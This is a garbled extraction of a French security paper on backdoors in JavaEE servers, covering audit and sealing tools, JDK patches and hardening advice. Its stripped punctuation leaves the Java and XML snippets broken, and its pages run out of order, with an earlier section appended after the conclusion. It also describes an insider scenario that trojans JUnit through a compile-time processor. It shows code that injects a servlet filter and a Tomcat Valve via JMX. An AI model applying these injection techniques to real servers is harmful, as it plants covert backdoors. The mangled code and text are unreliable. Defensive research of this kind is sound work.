Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 395
Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet
Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications
En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms
Fig 4 Repartition des classes dans Tomcat 5
Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles
La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu
396 Porte derobee dans les serveurs drsquoapplications JavaEE
Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active
24 Les techniques drsquoinjections
Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte
Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes
Fig 5 Point drsquoinsertions
Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution
ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
